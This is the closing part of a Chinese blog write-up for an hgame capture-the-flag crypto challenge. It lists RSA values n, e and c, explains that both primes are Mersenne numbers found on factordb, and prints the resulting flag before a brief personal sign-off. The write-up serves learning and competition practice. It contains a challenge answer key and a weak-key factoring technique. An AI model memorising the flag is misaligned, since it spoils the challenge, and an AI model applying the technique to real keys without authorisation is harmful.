# n = 15361898878235696574667000105109009720717806584760935092206242960407549236363501417213696346370999607974104247856479458833772412536980365740161717369268547876567930581662460946856562030722330783421995955447378594119758550329759849393535018344139103042143621239011469955648205934903904045564846822159998174879695774419450399723970148270141003002902927002767984254099972288746243481084381643719731958360702561818663569730597624966561268824737610893516032068613120089855690580047620589196079907477458543783300282393495461746306096415443274084362956267239186823089349090398919748814938872938478097065267156231648487203329412422615711711886164634059723362167236118521458497248305115764510762731915291882155494011713295462603221439763218477455674584662524137991730891776826849188975650354165106378834014987695592746836998002232826678339919918799781246827459617082687425955430641815518416878015728514477287192934193957833532996687234554280263817068106805440848475668830505180172049674756979856286907198648267160926305328986853052888831678087029867946180609
# e = 65537
# c = 7927187628026055322783940901550651937893953660065534609714001711924456963095603013667085470146144874981960574233466397443449977149997357471575431695025415526421127927424585253533999961265066779103259623451208111709082292139347059312149137665426462381816329178229484680275368657450003046701355985014009700915439417466826446848877329284810802949440433122207430136944380576095681081740197798597559437163702511712448892986978229285577672410865991889634686024629071902793778620692548548234276678653195648305462703623579369309956481606223043040903082180559720551235515700080661234190693094571406679557502413049745325301747588707839920522910923018864009003988475371258742969932381590308381543035539043149634871622927695645953044249331889058081699783884965964986919852075768119185486506729958481688848547730131040350180411446263394686119546781350542737049112800140601734883325024073000156078427592350484379976615561586860882656403198952361411599125358422676828954908797542225611418969233985502900316342896903161811894061826308302594273209131132802270416006

p, q 都是 2**n - 1,懒了直接去 http://factordb.com 求解,得到

p = 2 ** 1279 - 1
q = 2 ** 2203 - 1

然后直接解就好。

hgame{Mers3nne~Pr!Me^re4l1y_s0+5O-li7tle!}


小结

噢,Misc 忘记做了啊,问题不大((

喵呜呜,我好菜啊,题目好难啊!!!

就这样吧(

(溜了溜了喵


文章作者: MiaoTony
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 MiaoTony !
评论
  目录